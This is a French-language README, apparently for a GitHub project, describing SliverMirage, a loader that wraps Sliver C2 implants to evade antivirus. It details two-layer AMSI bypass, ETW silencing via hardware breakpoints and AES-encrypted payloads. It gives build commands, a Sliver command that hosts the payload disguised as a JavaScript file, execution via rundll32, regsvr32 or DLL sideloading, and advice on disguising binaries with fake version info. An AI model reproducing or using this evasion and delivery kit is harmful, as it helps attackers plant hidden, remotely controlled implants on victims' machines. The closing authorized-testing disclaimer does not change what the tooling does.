
Chargeur PICO Crystal Palace pour Sliver C2 contournement d'AMSI à double couche, silenciation d'ETW, payloads chiffrés en AES-256-CBC, 6 variantes de livraison
Un fork de CrystalSliver, étendant le chargeur PICO de Crystal Palace avec un contournement AMSI à deux couches, la neutralisation d'ETW et six variantes de livraison pour Sliver C2.
SliverMirage encapsule une DLL d'implant Sliver via la virtualisation PICO de Crystal Palace, puis la livre via un chargeur qui neutralise AMSI et ETW sans patcher amsi.dll ni ntdll.dll.
Pile de contournement :
| Couche | Technique | Détail |
|---|
| AMSI L1 | Corruption de chaîne CLR | LdrRegisterDllNotification intercepte le chargement de clr.dll, corrompt AmsiScanBuffer dans .rdata avant que le CLR n'appelle GetProcAddress |
| AMSI L2 | VEH + HWBP | Le gestionnaire d'exceptions vecteur sur AmsiScanBuffer retourne E_INVALIDARG |
| ETW | HWBP | DR1 sur NtTraceControl, retourne STATUS_SUCCESS |
| Payload | AES-256-CBC + XOR | Déchiffrement BCrypt, VirtualAlloc(RW) -> VirtualProtect(RX), aucune mémoire RWX |
| Virtualization | Crystal Palace PICO | La DLL Sliver s'exécute dans un processus PICO, invisible pour l'AV en espace utilisateur |
| Format | Fichier | Livraison | C2 à l'exécution ? |
|---|---|---|---|
exe | Staged EXE | EXE + payload.dat sur le site web C2 | Oui (HTTPS) |
exe-stageless | Stageless EXE | EXE unique | Non |
dll | Stageless DLL | DLL unique | Non |
dll-staged | Staged DLL | DLL + payload.dat sur le site web C2 | Oui (HTTPS) |
shellcode | Staged shellcode | .bin + payload.dat | Oui (HTTPS) |
shellcode-stageless | Stageless shellcode | .bin unique | Non |
Les variantes Staged téléchargent le PICO chiffré à l'exécution depuis un site web HTTPS de Sliver. L'EXE/DLL est petit (~20 Ko) et ne contient aucune charge utile sur le disque.
Les variantes Stageless intègrent le PICO chiffré au moment de la compilation (double couche XOR + AES). Plus volumineuses sur le disque mais aucune activité réseau avant le callback du beacon.
x86_64-w64-mingw32-gcc (mingw-w64)nasmpython3 avec pefile (pip install pefile)opensslbuild.sh)Le script de compilation installe automatiquement les dépendances manquantes (y compris Crystal Palace et Java 17) et gère l'intégralité du pipeline : DLL -> Crystal Palace PICO -> chiffrement -> compilation.
# Staged EXE (default)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# Stageless EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# Stageless DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# Staged DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Shellcode (staged)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Shellcode (stageless)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
Options :
--dll <path> — DLL de l'implant Sliver (obligatoire)--host <ip> — IP du serveur C2 (obligatoire pour les formats staged)--port <port> — Port C2 (défaut : 443)--path <path> — Chemin URL pour le téléchargement de la charge utile (défaut : /assets/js/vendor.js)--format <fmt> — Format de sortie (défaut : exe)--export <name> — Nom d'exportation DLL personnaliséSi vous disposez déjà d'un blob PICO Crystal Palace :
# Staged EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# Stageless EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# Stageless DLL
make dll PICO=/path/to/implant.crystal.bin
# All targets
make clean
Téléversez build/payload.dat vers un site web HTTPS Sliver :
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
Livrez build/csvchelper.exe (ou .dll) à la cible.
Livraison en un seul fichier. Aucun site web C2 à configurer.
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
Ou utilisez le sideloading de DLL (renommez-la pour qu'elle corresponde à une DLL légitime chargée par l'application cible).
Exports : DllRegisterServer, DllUnregisterServer, StartW, VoidFunc
SliverMirage/
loader/ # Crystal Palace PICO loader (from CrystalSliver)
src/ # Loader C sources + draugr ASM
loader.spec # Crystal Palace linker spec
pico.spec # PICO generation spec
src/
stager_remote.c # Staged EXE
stager_stageless.c # Stageless EXE
stager_remote_dll.c # Staged DLL
stager_stageless_dll.c # Stageless DLL
stager_debug.c # Debug EXE (MessageBox diagnostics)
scripts/
gen_payload.py # AES-256-CBC encrypt (staged)
gen_payload_stageless.py # AES + XOR embed (stageless)
dll_to_shellcode.py # sRDI DLL-to-shellcode converter
resources/
resource.rc # Version info (EXE)
resource_dll.rc # Version info (DLL)
manifest.xml # asInvoker manifest
libtcg.x64.zip # TCG library for Crystal Palace
Makefile
build.sh
kernel32, advapi32, bcrypt — toutes des API Windows légitimesVirtualProtect sur les DLL systèmeWinMain, -mwindows — aucun flash de consoleasInvoker intégré supprime les heuristiques UACresource.rc / resource_dll.rc avec votre identité de couverture avant la compilationCe projet est destiné uniquement à des fins de tests de sécurité autorisés, de recherche et d'éducation. Utilisez-le exclusivement dans des environnements pour lesquels vous disposez d'une autorisation écrite explicite de mener des tests d'intrusion. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ce logiciel.
MIT